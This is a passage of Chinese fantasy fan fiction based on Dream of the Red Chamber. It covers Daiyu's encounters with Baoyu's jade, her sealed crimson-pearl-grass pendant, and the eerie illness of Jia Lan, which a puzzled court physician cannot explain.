邢夫人头一次这么赞同王熙凤，连连附和：“还是凤哥儿眼神好，一眼就看出来了。”
贾母笑逐颜开，道：“我的几个儿女中，敏儿最像我，玉儿又十足像她母亲。只是我年纪大了，玉儿又小，倒是看不出来相似了。”
众人自然不能说贾母年纪大，纷纷道她老人家面色红润，精神饱满，看着年轻得很。
青雀迷惑地听着众人你一言我一语的奉承，都忘了记王夫人小本本了，悄悄问芙蓉：“像吗？”
贾母是圆脸，很富态，她们姑娘脸不圆，又瘦弱，一点都不像。
王熙凤的话让刚刚确定目标的芙蓉又动摇起来，心不在焉地回道：“细看眉眼之间是有一二分相似的。”
青雀使劲看了看，没大看出来。
那厢众人说说笑笑，黛玉心中浮起的一丝异样也让王熙凤的话打消了，没了那丝别扭，她坦然不少，大大方方回视宝玉，随即被他胸前挂着的玉吸引。
那玉只有雀卵大小，嵌在璎珞上，又有五彩丝绦缠绕，镶金嵌宝，不细看都容易忽略掉。
原来这玉这么小，难怪能衔在口中。
宝玉顺着黛玉的视线低头，眼前一亮，手忙脚乱将玉摘下来递到她面前，“妹妹喜欢这玉？”
黛玉瞥见玉上似乎还刻着字，可惜太小了，看不清。
宝玉把玉往她手里塞，黛玉料想这是他生来就带的东西，一定珍贵非常，推拒不接。
两个你推我让，就在眼皮底下，贾母哪能发现不了，道：“这玉也就是来历稀奇了一些，平日里丫鬟小子们都拿过碰过，不用如此小心，你拿着，看过再还给他就是。”
“不过是一块蠢物，纵使摔了也无碍。”宝玉问：“妹妹也有玉没有？”*
黛玉一怔，刚想说她并没有这样跟着一道伴生而来的玉，却不知道怎么鬼使神差想到了那枚会“叫”的螭龙玉佩，话到嘴边转了个弯：“有的。”
宝玉两眼一放光，高兴道：“真的？妹妹的玉在哪儿？可能给我瞧瞧？跟我的玉一样不一样吗？我就说它不稀罕！家里姐妹都没有，还当是什么了不得的东西，果不其然，来了个神仙似的妹妹就有了。”
黛玉脸色微变，后悔自己失言，这么一比，倒像是自己暗暗把三春姐妹比下去了。
早知如此就不该说有玉。
她勉强笑着道：“我那里也不过是寻常的玉石雕琢的玉佩，比不得你这玉的来历。想来天底下再也没有第二块同这一样的宝玉了。”
宝玉失望不已，倏然抬手，恨声道：“谁要这稀罕物不成！”
话落，作势要摔。
通灵宝玉上一丝流光闪过，微弱的灵气迸发，又倏地收敛，芙蓉陡然眯起眼，再看过去，玉还是那样，刚刚感觉到的灵气像是她的错觉。
她悄悄换了位置，靠近宝玉身后，想在第一时间拦住他的玉，好观察一番。
“宝玉，快到时辰了，再不出门，去学里就迟了。叫你父亲知道了，又要生气。”王夫人淡淡开口。
宝玉举着玉，动作一滞，脸顿时就白了。
丫鬟们这才反应过来，抱腰的抱腰，按手的按手，把玉从他手里抠下来，一个容长脸的丫鬟仔细用手帕裹好，不让他再碰。
芙蓉遗憾地收回目光，悄无声息回到黛玉身边。
宝玉怕他父亲跟怕鬼一样，失魂落魄地站在原地，哪里还记得玉不玉的，任由丫鬟们折腾。
他吓得脸都白了，贾母不由心疼，埋怨王夫人：“他还小，一两日不去学里也使得，你何苦逼他，抬他老子来吓唬他，偏要把他
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吓破了胆子才好么？”
王夫人哆嗦着嘴唇，半个字都说不出来。她的珠儿就是因为他们夫妇期许太过，自己狠逼着自己念书，念坏了身子，最后早早亡故，贾母这话于王夫人而言，诛心无异。
宝玉是她唯一的儿子，后半辈子的指望，她也不想逼他，平日里何曾提过这些。
王夫人又心痛又委屈，低头垂泪，默然不语。
堂下寂然，口舌灵巧如王熙凤也不知道该如何缓和气氛。
黛玉捂着胸口，心中不由惶惶。昨日也是因她，今日这事也是由她招惹出来的。她咬着唇，强忍着心绪，不想再添麻烦。
贾母见王夫人如此，也觉得话重了一些，叹道：“袭人，还不快给宝玉收拾收拾，叫小厮们陪她去学里。”
“鸳鸯，扶二太太去擦擦脸。”
袭人忙应声，握着玉，拉了宝玉出了门。
屋外，掩面落泪的李纨急忙向廊下避开，擦干眼泪整了整衣裳，故作镇定地朝贾母房外来。
袭人拉着宝玉跟她擦身而过，见李纨神情有异，丫鬟也没带一个，心中疑惑，但她着急送宝玉出门，也来不及多想，匆匆行了一礼，推着宝玉离开。
屋内，黛玉也不愿再多呆，起身跟贾母告辞。
邢夫人还打着跟黛玉亲近的主意，也跟着出来说要送送她。出门碰到李纨，邢夫人跟二人互相介绍了一番，勉强算是见过。
出了院子，邢夫人也不走，黛玉不得不打起精神应对，由着她送了一路，听她说了许多府里的人事。
直到送到听松园门口，黛玉请邢夫人进去坐一坐，邢夫人才意犹未尽住了口，道：“我就不进去了。”
她犹豫了一下，道：“方才的事你也别放在心上，宝玉有些呆性，从前也时有这样的，大哭大笑，有时发狂，有时又呆坐着半天不动，并不是因为你的缘故。”
“他人不坏，对姐妹们也是好的，时间久了，你就知道了。”毕竟隔着一层，跟王夫人也不怎么对付，说到这里已经是极限了，邢夫人道：“他要上学，常在外面，也不大能见着了。你只跟姐妹们一起玩，迎春大你一些，你有事只管去找她。”
黛玉默默记下她的叮嘱。
回了房，黛玉翻身在榻上躺下，白鹤忙着厨子的事，不见踪影，何嬷嬷散了些财，跟丫鬟婆子闲谈半日，得了不少消息，准备回来跟芙蓉等人通通气。
见黛玉恹恹躺着，吓了一跳，“姑娘怎么了？可是王夫人又说了什么？”
黛玉起身，道：“不是。我好像找到那个人了。”
她声音闷闷的，一开口就落下泪来。
青雀急忙捧着手去接她的眼泪。
黛玉好笑，推了推她，眼泪却止不住，一边哭一边道：“你不如拿个茶盅子来接！”
青雀听不出她是在调侃，依言端了杯子来。
黛玉偏不让她接，转过身拿帕子擦，青雀又拿了一叠帕子过来。黛玉扔下打湿的帕子，扯过一张继续拭泪。
她看着并不十分伤心，何嬷嬷定了定神，方问起那人是谁？
芙蓉道：“应该是宝玉。”
刚听了满肚子跟宝玉有关“笑话”的何嬷嬷：“啊？”
15.第 15 章
“他有不妥？”芙蓉问。
何嬷嬷摇头：“倒也没有。从下人们口中听来，跟一般富贵人家的纨绔子弟差不多。”
真要比的话，宝玉还强出不少。起码没有在家动辄打骂下人，在外欺男霸女，横行霸道。最多就是不求上进，喜欢在內帷厮混，喜好美色一些。家里规矩不严的，都不会将宝玉的举止看作是大毛病。
只是他年纪不大，长辈纵容，现在不觉得有什么问题，但再不掰一掰，长此以往下去，不说长得更歪，恐怕也不会有大出息。
不过以荣国府的现状，想管教宝玉，怕是也难，说不定还愿意他更废一些。
黛玉哭湿了三条帕子，才渐渐止住眼泪。
顶着一双红肿的眼睛，她哑着嗓子要茶。泪流多了，她有些口渴。
青雀去倒茶，何嬷嬷给她敷眼睛，又按额头，让她舒缓一些。
黛玉喝完了一盏茶，还嫌不够，让青雀再倒。
芙蓉说起她在通灵宝玉上发现的异状：“那玉有古怪，我想找个时间再看看。”
何嬷嬷按着黛玉的手不让她碰眼睛，随口说道：“那玉肯定不普通。听下人们说，宝玉有不顺心的时候，就拿它撒气，摔过不知道几次。一般的玉摔一下就碎了，哪经得起他这么砸。”
“怪不得他动作那么熟练。”青雀歪了歪头，“王夫人吓唬他也熟练得很，一句话就唬住了。”
黛玉抖着身子发笑，何嬷嬷哎了一声，差点把药膏涂到她眉毛上：“姑娘心情好了？”
黛玉坐起来，“我方才也没伤心。”
何嬷嬷点头，一本正经道：“是比昨日强。”
昨日是真哭，不比刚才是干淌眼泪。
黛玉不理她的调侃，取出杏木匣子，背过身将里面最后一块玉佩拿出来，又将匣子重新收好。
芙蓉三人齐齐看向她手上的玉佩。
那块玉佩很特别，外头一层晶莹剔透的水晶，像是冰糖葫芦外挂着的透明糖霜，里面裹的是一株红珠碧草。
碧草翠绿的茎叶萎靡地耷拉着，托着叶顶绿豆大小，一团团红得滴血的玉珠。玉珠血色扎眼刺目，散发着不祥的气息。
黛玉将玉佩翻过来，碧草背面，叶底有灰色的细丝顺着主茎蔓延，侵入每一丝茎叶脉络中，一直到顶端，深深地，紧紧地扎入红珠，彼此纠缠，难舍难分。
细看之下，灰色的线仿佛还在动。
“唔！”
多看了几眼，灰线像是扎在她身上，黛玉捂住胸口，胸前发闷。
白鹤不知道什么时候回来了，从背后遮住她的眼睛，“姑娘怎么把它拿出来了？”
黛玉松开手，芙蓉接住掉下的玉佩，掩在袖子里。没了玉佩，黛玉好受了一些，抓住白鹤的手，闷声道：“我想看看它上面的愁丝有没有少一些。”
白鹤放下手，转过来，看向芙蓉。
芙蓉点头，跟她比了个口型，“宝玉”。
无需多说，白鹤了然。
那枚玉佩里封着的是黛玉的本体，准确的说，是前世的本体——一株绛珠草，是黛玉拜师后，由她师姐去三生石旁，灵河岸边亲自取出来，后来封进玉佩里的。
“姑娘看出来了吗？”
黛玉摇头，“好像并没有变化。”
灰色的丝线还是那么多，那么密，寄生在草上。
白鹤安慰她：“姑娘也无需着急，人都见到了，来日方长，总能将它清干净的。玉佩还是先收起来，带在身上，对身体不好。”
黛玉有心想时时将它放在眼前，能随时查看变化，但想到以前吃过的亏，不情不愿地朝芙蓉伸手。
芙蓉提议：“不如裁一块皎云纱做成荷包给姑娘带着。”
皎云纱也能隔绝气息，但肯定比不上杏木，两者之间差远了。
“姑娘这阵子怕是也静不下心，玉佩放在匣子里，总是取放也不方便。只要姑娘不总盯着看，再隔着一层纱，戴上十天半个月也无妨。”
白鹤问：“姑娘也想留着？”
黛玉点头：“嗯。”
白鹤想了想，道：“也好，那就做一个荷包。不过姑娘一但察觉到不舒服，不可强撑，一定要将它收起来。”
黛玉自然答应。
裁荷包的事落在了芙蓉身上，她去找纱，白鹤顺势说起厨子的事，人已经找到了，三天后等小厨房一好，林管家就把人送过来。
转眼间过去三天，芙蓉一直没找到机会取到通灵宝玉，倒是听松园的小厨房建好了，收到信的林管家马上就带着人登门。
他不仅带了人，还另送了不少新鲜食材和瓜果过来，也给贾母送了一份，贾母当时脸色就有些僵硬。
林管家笑吟吟道：“也不是珍贵东西，只图个新鲜爽口，都是自家庄子上产的。”
贾母也是经过大风大浪的，几息脸色就恢复正常，“整日里吃惯了自家的菜，也是油腻腻的，我正想着一点新鲜东西吃，还想着叫人到外面买，不想你就送来了。”
林管家：“老太太若是吃着好，我再叫人送。”
贾母颔首，再留林管家吃饭，“这次可不许再推辞了。”
正说着话，下人来请示贾母，说是王太
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医到了，在外面候着。李纨忍不住伸头往外看，面上浮现出焦急之色。
“快请进来。”贾母吩咐道。
王太医是常来贾府的，一直都给贾母请平安脉，跟贾府的主子们也熟悉，进来先拜见贾母。
贾母叫了起，指着黛玉道：“今日请你来，是给我这个孙女瞧瞧。”
林管家心里哼了一声。三日前就说要请太医，早不来晚不来，偏偏今天来了。
分明是做给他看的。
连着两次，林管家对贾府的印象已经跌到谷底。
再不满，林管家对自家小主人的身体也是关心的。但王太医左手诊完换右手，脸色凝重，不时捋着胡须，就是不说话。
“王太医，如何？”贾母也急，迟迟不见他开口，干脆直接问。
王太医不知该如何回答，他平生第一次见到这么奇怪的脉象。
这位小姐一看脸色就知道身体不好，他已经有心理准备，说辞都准备好了，不管大病小病，无非就是开了药补着养着。
哪知一上手，脉如细丝，虚浮无力，五脏六腑皆病。
这样的脉象，怎么看都是病入膏肓，回天乏术的症状，说严重点，就是只能躺在床上等死。
可是眼前的人看着却还好，一点都不像将死之人。
王太医弄不明白，也不能在贾母面前露怯。
他斟酌又斟酌，小心问道：“小姐往常吃什么药？以前大夫怎么说？”
黛玉：“以前还吃药，一年前看了大夫，说是不必再吃，便将所有药都停了，再没吃了。”
“如今只是食补。”
王太医：“？”
不是，食补？
哪里的大夫看的诊？补的什么食材这么厉害，能让一个快死的人坐卧如常，行动自如？
这等神医，他怎么没听过？
若是能知道是谁，或许可以引荐给宫中贵人。
王太医跌宕起伏的内心没人知道，他面上平静，顺着黛玉的话道：“小姐是从娘胎里带的病根，身体比常人弱。也不必开药，药吃多了反而伤脾胃，就按现在的方法细细调养即可。”
说了等于没说，一听很有道理，细听全是废话。
不过黛玉等人也不在意。
黛玉知道自己的身体如何，一般的药根本没用，即使王太医开了药，她也不会吃，不开正好。
“老祖宗——”
黛玉这边看完了，李纨按捺不住，恳求贾母。
贾母示意她稍安勿躁，“王太医，还请你去看看兰哥儿，他这几日也病得厉害。”
16.第 16 章
李纨院子冷冷清清的，大约是无心打理，花木都透着一股衰败之意。
贾兰病了些日子，还没靠近屋子，就有一股苦涩的药味浸染出来，萦绕在众人鼻尖。
贾母、李纨、王夫人等都围在前面，人一多，地方就显得逼仄，李纨院里伺候的人少，王熙凤忙前忙后张罗着安排，服侍着贾母和王夫人坐下。李纨身为主人，还是贾兰的母亲，在自个儿院子里倒是只能站着抹眼泪。
黛玉在最后面，林管家趁着机会跟她说话，问问她的近况，黛玉只道都好。
林管家不怎么相信，当她报喜不报忧。
“姑娘有不顺心的，也可回自己住上几日，老奴先让人把姑娘的院子收拾出来。”
“兰儿！”
李纨惊呼一声打断了林管家的话，黛玉不由侧头。
只见李纨扑在床沿上，搂着一个身影嚎啕大哭，王太医避到一边，站在床头。
“珠儿媳妇，你先把兰哥儿放开，让太医好好看看。”
王太医刚搭上脉，昏迷着的贾兰自己睁开眼睛坐了起来，李纨又惊又喜，也顾不上其他就扑到床边。
此时贾母发了话，王熙凤把李纨搀起来，王太医重又坐下。
黛玉这才看清贾兰的样子。
贾兰断断续续昏迷了好几天，偶尔醒一次，也吃不下多少东西。这些天，只喝了点粥，再有李纨在他昏迷时想办法掰开他的嘴给他喂的药和水给他吊着，因此他很瘦。
他两颊凹陷，薄薄的一层皮肉贴在颧骨上，眼睛也凹进去了，显得眼睛更大了。深刻的眉骨凸出来，在他脸上落下阴影，不知道是不是因为眉骨压着，让他整张脸都有一种晦涩不明的感觉。
醒了后贾兰就呆呆坐着，李纨又哭又抱，他也不动，更不知道喊人，脑袋始终朝着一个方向，眼都不眨。
王熙凤心中打鼓，她来看过贾兰几次，不曾见过他清醒的样子，见他这样，暗道怕不是傻了吧。
这话却不好当着李纨的面说，按下心中怀疑，王熙凤跟众人一样，等着王太医的诊断。
王太医又换了几次手，额头冷汗都快沁出来了。
今天也不知道是撞了哪门子神，连诊两个人都是从未见过的古怪脉象。
先前的小姐是脉如将死之人，现在的哥儿脉象却十分健壮，再健康不过，压根不是久病之人的脉象。
但看贾兰面目，他无论如何也说不出哥儿实在是健壮如牛，没病无灾。
挽着袖子擦了擦额头的细汗，王太医祭出万能金句：“哥儿先前吃的什么药，药方可还在？”
李纨双腿发软，早被王熙凤扶着坐下，倚在架子床边，听他问，撑着身子起来要去找药方。
贾母令她坐着，转头不悦斥责李纨的丫鬟：“你们都是死人不成，还要奶奶亲自寻东西？”
素云连忙跑了出去。
屋里头待久了有些闷，黛玉悄悄往外退。青雀站在她身后，黛玉一退，她也跟着倒退，没看到后面，一不小撞到了桌上，碰倒了桌角的笔架。
“吧嗒”一声轻响，挂在架子上的笔滚下来，被前面说话的声音掩盖，其他人都没听见，却见床上呆坐着的贾兰浑身一震，像是突然惊醒过来一样，挣扎着要下地。
“兰儿！兰儿！”李纨抱着他哀声唤道，“好好的你下来做什么？你要什么，我叫人去拿。”
贾兰像是完全听不到她说话，手脚并用疯了一样挣扎。他小小一个人，又饿了几天，按理说应该十分虚弱，但此时却是一身蛮力，力气大得将李纨都往前拖了两步，竟然按不住他。
“快点，还不把哥儿压住。手脚轻些，仔细伤到人。”
王熙凤的命令让丫头们好生为难，下手重了怕贾兰受伤，轻了他又能轻易挣开，众人手忙脚乱的，险些让贾兰挣脱。
屋里头登时乱成一团。
青雀挡在黛玉身前，怕她被人撞到。
黛玉背身扶好笔架，将滚散的笔一拢，挨个再挂好，收拾停当，她疑惑地看了眼笔架，总觉得哪里违和，一时又想不出来。
再看桌上摊开的纸张，上头有字，像是新写的。
黛玉不好多看，扫了一眼，就转过头。
那边，刚才还状若疯魔的贾兰似乎力气用尽，陡然停止了挣扎，软软倒在床上，眼睛一翻，又晕了过去。
王太医捏着手里薄薄的两张纸，汗流浃背。
这两张方子都是中正平和的温补之方，直白讲就是吃不死也治不好的大众药。
可见前两个开方的大夫也觉出了离奇之处，无从入手，才开了这两张糊弄人的方。
就是不知道前两个大夫有没有见过病人醒来时的模样，当真诡异，比起生病，更像撞邪。
是病还是邪都好，王太医自觉也开不了更好的方，只能再下温补剂，总归出不了大错。
“奶奶！”
一声惊呼，原来是李纨又惊又悲之下，支撑不住，也跟着晕了过去。
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王太医差点捏破药方：“......”
硬着头皮诊了第三次脉，他长出了一口气。
幸好第三个病人是正常的，不然他真要怀疑荣国府是不是邪了门了。
在李纨这里找回了对自己医术的信心，王太医一气呵成开了药方，收了贾母让人送上的出诊费，匆匆离开了贾府，短时间他是不想再来了，给钱大方也不来。
母子俩皆倒下，李纨院子也没个主事的人，贾母让王夫人多看顾一些，又命人去熬药。
一番折腾，贾母也无心再跟林管家多说，留他吃了饭就让人送他出府。
晚间，贾母传话不留众人的饭，黛玉就在自己院子里吃饭。
白鹤找来的厨娘是个白净的胖妇人，身材比青雀还要圆润，说话温温柔柔，还有些羞涩，也是精怪，已经几百岁了。
她也姓白，叫白栩，因是妇人模样，黛玉便喊她白妈妈。
白妈妈厨艺了得，煎炒烹炸，南北菜系样样精通，据她自己说平生就好一口吃的，为了吃好，也学会了做菜，这一做就钻了进去，仗着妖精寿命长，天南海北搜罗了许多秘方，将手艺钻研到极致。
为了一张嘴，更是连修行也排在后面了，白长了几百岁，也就比青雀强一些。
白妈妈也不负她的年纪，不愧是做了几百年菜的行家，做的菜既精致又好吃。
她专门找芙蓉淘换出一套比平常小一半的杯盏给黛玉上菜，每一份菜分量都很少，看着没两口，吃下去不觉得，黛玉不知不觉就吃多了。
因为分量拿捏得好，黛玉吃完也不觉得撑。
黛玉捧着白妈妈专门兑的金橘团消食，何嬷嬷笑着道：“果然专门的事还是要交给专门的人做，以前好劝歹劝，姑娘也不肯多用。”
“这下才好，就盼着姑娘那天像青雀一样能吃才好，她那分量，比姑娘多一倍不止。”
青雀正吃着玫瑰酥，听到叫她，满脸疑惑地抬头，嘴边还沾着碎屑。
白妈妈把酥做成花的样子。难为她手脚快，还能把酥做成大小两个样式。
黛玉吃的要小些，只有弹珠大小，一口就能吃一个，就这金橘团也吃了两个。青雀吃的就大许多，有掌心大，一口塞不下，要一手拈着，一手垫在下面接掉下的酥渣。
黛玉捧着杯子，盯着她手中的玫瑰酥，不觉入了神。
“姑娘想吃大的？”
“我想起来了！是大小！”
青雀和黛玉同时开口。
17.第 17 章
青雀：“？”
“姑娘嫌这个大了？”青雀仰头将掉的碎渣倒进嘴里，擦干净手，“我问问白妈妈还有没有小的。”
“我不是说玫瑰酥。”黛玉制止了她，放下杯子，起身到书桌上取了一支狼毫笔，张开手丈量了一下，道：“确实太大了。”
何嬷嬷不明所以：“姑娘在说什么？是笔不合适？那就先不用了，当心伤了手。姑娘要多大的笔，我叫人再去外面铺子里按大小买。”
黛玉摇头：“不是我的笔，是兰哥儿。”
何嬷嬷不解。
黛玉回忆道：“白日里青雀撞倒了兰哥儿用的笔架，我捡起来时发现笔有些怪，现在才想起来，是他用的笔尺寸比我的还要长一些。”那看起来像是身量已足的人才用的。
但贾兰比她还小一两岁，手也更小，不可能用那么大的笔。不说能不能写字的问题，就是握笔也不舒服，他骨头还没长成，用多了不合适的笔容易伤筋骨。
何嬷嬷猜测：“也不一定是哥儿用的，兰哥儿还没上学，平日里跟着珠大奶奶识字，笔许是珠大奶奶要用的，为了方便，便在哥儿房里也备了一套。”
这也说得通，但黛玉心中还是有疑惑。
光是教兰哥儿识字，也用不着备那么多笔，一两支就够了。况且她白日还看见了桌上新写的字。虽然只是扫了一眼，没看清写了什么，但细细回想起来，黛玉觉得字迹别扭，观其形已有筋骨，但有些地方有软塌塌的模糊成一团，不大像是出自大嫂子之手。
像是一个会写字的人，用了不适合的笔，所以写得别别扭扭，掌控不好笔锋。
黛玉越想越奇怪，何嬷嬷见她细眉都要拧在一起了，道：“姑娘快别操心了，横竖兰哥儿都有珠大奶奶和二太太照看着呢。”
黛玉一想也是，眉头舒展，道：“嬷嬷说的是。”
喝完金橘团，又看了半个时辰书。天气暖和了，院子里草木多，招了些细小飞虫，白鹤和芙蓉带着人点灯在各处燃了驱虫香熏虫子，吵吵闹闹了一阵，青雀听外面热闹，跑出去玩了盏茶时间才进来陪黛玉睡下。
睡前黛玉照旧把玉佩拿出来看了一眼，见没有变化，又收起来放到枕边。
夜里，黛玉迷迷蒙蒙间做了个梦。
梦里她似乎变小了很多，身体被压得紧紧的，动弹不得。头脑混沌，她不知自己身在何处，眼前雾蒙蒙一片，什么也看不见，只能依稀听到远处流水湍急，恍惚间似有冰凉的水珠落在身上。
听了不知道多久的流水声，黛玉感觉到自己渐渐虚弱。
有一瞬间，她清晰地冒出一个念头——她快死了。
但她应该是活下来了的？为什么现在又要死了呢？
混混沌沌的思维想不明白这么复杂的问题。
又不知道过了多久，她已经连周围的声音都感觉不到了，思绪也越发淡了，偶尔才能冒出一个驳杂念头，却也不知道自己到底想了什么。
“咦？竟还有一株没有枯萎的。”一个惊奇的声音在头顶响起：“河畔方圆百里都得河水滋润，年年不知道催发多少树木花草，却只有你挣脱了草木枯荣的定数，倒是奇了。”
“可惜......”
“也罢，也是你命不该绝，我便帮你一把，且等着......”
这是她意识消失前，听到的最后一句话。
床上，黛玉翻了个身，青雀惊醒，连忙挪开压着被角的身体，小心给她掖了掖被子。
身上的束缚松开，黛玉动了动，睡得更沉了。
梆子敲了三下，夜越发深了，贾府各院均已歇下。二门内上夜的婆子们草草巡视完，各处门一落锁，便聚在一起寻了个僻静处喝酒赌钱打发时间。
李纨院里，王夫人入夜后就回了自己房里。
她是李纨的婆婆，没有在儿媳院子里守着孙子的道理。
况且王夫人也不怎么喜欢李纨这个儿媳妇，对贾兰也是淡淡的。
都说小儿子大孙子，老太太的命根子，况且贾兰还是王夫人最疼爱的大儿子留下的唯一血脉，就算比不上宝玉在她心里的地位，也不该只有面子情，冷冷淡淡，病成这样也不管不问。
但王夫人与常人不同，她心中思量得十分清楚。贾兰要是不好，对她来说没有多大坏处，总归她还有宝玉，还有元春。
若是贾兰熬过这一关，日后有了大出息，她其实也沾不了多少光。
一则贾兰有自己的亲生母亲，出息了最能得好处，被他孝顺奉养的是李纨。她是隔了一辈的祖母，有孝道在，就能压住他。大面上能过去就行。
二则她年近五十，等宝玉长大出息都尚且不知能不能等到，何况比宝玉还小的贾兰。
她年纪大了，没有那么多精力和心血再分到贾兰身上，他自有李纨去操持。
不过贾母的吩咐王夫人也不敢太阳奉阴违，她说要守着，王夫人借口自己要去佛堂诵经为孙儿祈福走了，但是留下贴身丫鬟彩云在贾兰房里守着，命她一有消息就来禀报。
李纨本想一起守着，但她连日劳累，神困身乏，又喝了王太医开的安神汤，实在熬不住，被素云和碧月劝了回去。
到底不放心，李纨留下素云给彩云一起守夜。
素云熬了半夜，眼皮子发沉，她打了个哈欠，拍了拍脸让自己清醒一些，
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瞥见支着头打瞌睡的彩云，又见贾兰的奶妈妈已经滚在脚踏上睡过去，心中有些不愤，起身想把人叫醒。
刚站起来，转念一想，她又歇了心思。
素云叹了口气。二太太不把她们奶奶和哥儿放在心上，丫鬟婆子自然也不经心。
这些大丫鬟和奶妈妈们个个都是厉害的，奶奶谨慎求全不肯得罪人，她又何苦给奶奶惹祸。万一恼了他们，到外头乱嚼一通，倒成了她们奶奶的不是。
其他人是指望不上了，只能她自己警醒一些。
来回走动活动了一下身体，烧了一半的蜡烛灯花炸开，烛火在哔啵声中窜了一节。素云张望了一下，也不知道剪刀在哪儿，取了个竹挑子挨个挑了挑灯芯。
等挑完，彩云已经完全伏在桌上，睡死过去，素云摇了摇头，走到床边想揭开帐子看看贾兰的情况。
还得给哥儿喂些水才是，素云心想着。
“啪。”
背后一声轻响，素云停下脚步，回过头，不是灯芯又炸了。烛火比较暗，素云也没看到是什么东西掉了。
“啪。”
又是一声。素云眼珠颤了颤，飞快地环视一圈，还是没有发现。她抱着胳膊，脖子有些凉。
彩云和奶妈还睡着，屋里也没有其他人，到底是什么响？
呼~
一阵凉风从她背后卷过。哗啦，书桌上的宣纸被卷起。吧嗒吧嗒，笔架上的笔轻轻晃动，磕在架子上，发出碰撞声。
“原来是起风了。”素云松了口气，暗笑自己疑神疑鬼，屋子里几个大活人，她还怕这个。
宣纸飘飘荡荡落下地上，素云平复蹦蹦乱跳的心脏，俯身一张张把它们捡起来抚平。
“奇怪，哥儿会写那么多字吗？”素云看着纸上的字迹满心疑惑。
她是李纨的陪嫁，耳濡目染之下也略识得几个字，虽然认不全纸上的字，但光凭笔划的复杂程度，也能猜到有些字超出了贾兰学习的范畴。
难道是奶奶正好教到这里了？
或许是兰哥儿聪明，奶奶就多教了一些吧。素云自发找好了理由，把宣纸放好，用镇纸压住，免得再被风刮跑，又准备去关窗子。
不想一转身，就看到贾兰直直站在她身后，离她只有半臂远。
烛火下，他侧着头，半边脸都在阴影中，嘴边挂着若有似无的笑容。
素云看不到他完整的表情，但直觉这不是一个孩童该有的神情。
“兰、兰哥儿？”素云颤抖着嗓子小心叫了一声。
贾兰转过头，揉了揉眼睛，懵懂地望着她，“素云姐姐？我好饿。”
素云浑身僵硬。
18.第 18 章
晚上做了梦，黛玉第二天起得晚了一些，后半夜睡得十分沉，但她整个人看上去却非常疲惫。
“姑娘昨天没睡好？”
芙蓉看她脑袋一点一点地，快要扎到梳妆台上了，索性放弃了梳头的想法。
黛玉撑开眼皮，缓慢眨了两下，拽回不知道飘到哪儿的思绪，点了点头：“好像一直在做梦。”
“梦见什么了？”
黛玉“唔”了一声，缓缓摇头：“不记得了。好像很累，很累，累得什么都不想不起来，只想一觉睡过去。”
她说话慢吞吞的，好像梦里迟钝的思绪还在影响她。
芙蓉眸色微敛，姑娘这样不像是做梦了，像是被什么东西吸了精气一样。
她问：“姑娘的玉佩呢？还带在身上？”
黛玉低头在腰上摸了摸，没摸到荷包，努力思索了一会儿，才转头：“放在枕头下面了。”
芙蓉给青雀使了个眼色。
青雀两边摸索了一下，从靠里一侧的枕下摸出荷包交给芙蓉，然后去打水给黛玉绞帕子擦脸。
芙蓉翻看荷包。皎云纱是月白和霜色交织而成的，月白为经，霜色为纬，交错形成复杂玄奥的纹路，正是这些纹路起到了隔绝气息的作用。
现在荷包上的月白色有一部分已经淡去，与霜色融为一体不分彼此。
芙蓉把玉佩拿出来看了一眼，她不是黛玉，也看不出来玉佩上灰色丝线有没有变化。也许是心理作用，她觉得玉佩上的红珠好像更鲜艳了一些。
芙蓉指尖在红珠上摩挲，皱眉道：“姑娘，这皎云纱已经无用了，玉佩还是先收起来吧。”
“嗯？”黛玉发出疑问，眼神迷茫。有听，但明显没有懂。
芙蓉见状有些心惊，她这样的状态，好像又回到了几个月前的样子。
那时黛玉整个神魂差点被玉佩里封着的绛珠草吸走。要不是殿下察觉到不对，发现她越修行越虚弱，修为在不知不觉中被吞噬，果断出手打散了她的修为，又将绛珠草封印起来，否则现在就没有姑娘这个人了。
可惜发现不对的时候已经有些迟了，姑娘和玉佩中本体之间的联系无法彻底斩断。
绛珠草和黛玉本为一体，彼此之间的联系十分紧密。二者一个是身，一个是神魂脱出草木本体投的凡胎。
简单来说，其实一草一人两个躯壳共用一个魂魄。
真要说起来，如今投胎的人身（躯壳）与魂魄的契合程度可能还不如绛珠草，毕竟虽然两个都能算得上是原装，但一个用了几百年，一个才几年，当然是旧壳子磨合得更好，更合适。
这也是为何凡身明明被是天地钟爱的人族，当初在对神魂的争夺中却还是抢不过绛珠草的原因。
“姑娘......”芙蓉怕黛玉跟当初一样，魂魄有缺，想要为她查看一番。而黛玉被热帕子一敷，头脑在热气的熏染下也清醒了几分，想起了芙蓉刚才说的话和自己慢吞吞的反应。
她抬手捂住帕子，脸上发烫，也不知道是熏的还是羞的。
“姑娘？”青雀没有发现黛玉的窘迫，十分贴心地道：“帕子凉了，姑娘想敷脸我再给姑娘换一块？”
黛玉：“......”
她将帕子一卷，镇定道：“不用了，再换一块，我擦擦手。姐姐，把玉佩给我吧。”
芙蓉把玉佩装近荷包，却没给她。
黛玉会意，先取了杏木匣，直接拎着荷包外面缠着的丝带整个丢进了匣子中。
做完这些，又由芙蓉替她检查了一遍，确定她反应太慢是因为犯困而不是因为其他，才放下心来。
“左右无事，姑娘用过早饭再睡下补一补觉吧，免得头疼。”
黛玉想了想，她还打算拟定日子，今日就写了帖子给各处送去，邀请三春等人来参加“乔迁”之宴。
不过兰哥儿不好，大嫂子心中想必油煎火熬似的难受，不好在这个关头开宴席扎人眼的，不如推迟些日子，等兰哥儿好了再说。
想毕，黛玉晃了晃脑袋，一头轻松，便嘻笑道：“正好还没梳头，再睡下也不用拆头发。”
芙蓉翻了个白眼：“姑娘刚才东倒西歪的，要拽掉多少头发才能梳好。”
虽然犯困也不是她愿意的，但芙蓉这么一说，黛玉还是有些淡淡的心虚，还好早饭正好送来，免了她们继续在头发上的纠缠。
早饭是一碗熬得浓稠的粉粳米粥，用琢六瓣青玉碗盛着，并银鱼脯、藕鲊等几碟荤素搭配的小菜和一个杯口大的金彩葵瓣碗装的果酱山药泥。
山药泥加了少许蜂蜜，上面的果酱酸酸甜甜的，正好中和了小菜的腻，黛玉很是喜欢。
粥足饭饱，一股暖意自丹田涌起，片刻后，黛玉便熏熏然犯起困来，芙蓉一转头的功夫，她就歪在榻上，迷迷瞪瞪沉入梦乡。
芙蓉怕把她吵醒，没有把她抱到床上，轻轻给她盖了条毯子。
青雀不困，呆坐了一会儿，见芙蓉在窗下裁东西，眼珠一转，出了屋。不多时，她抓着一只肥嘟嘟的麻雀回来。
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芙蓉眼观六路，见她将麻雀按在桌上，拉开翅膀，又按肚子，问：“麻雀从哪儿来的？”
青雀仔细检查麻雀的爪子，头也不抬道：“树上抓的。”
芙蓉手上一顿，“你爬树了？”
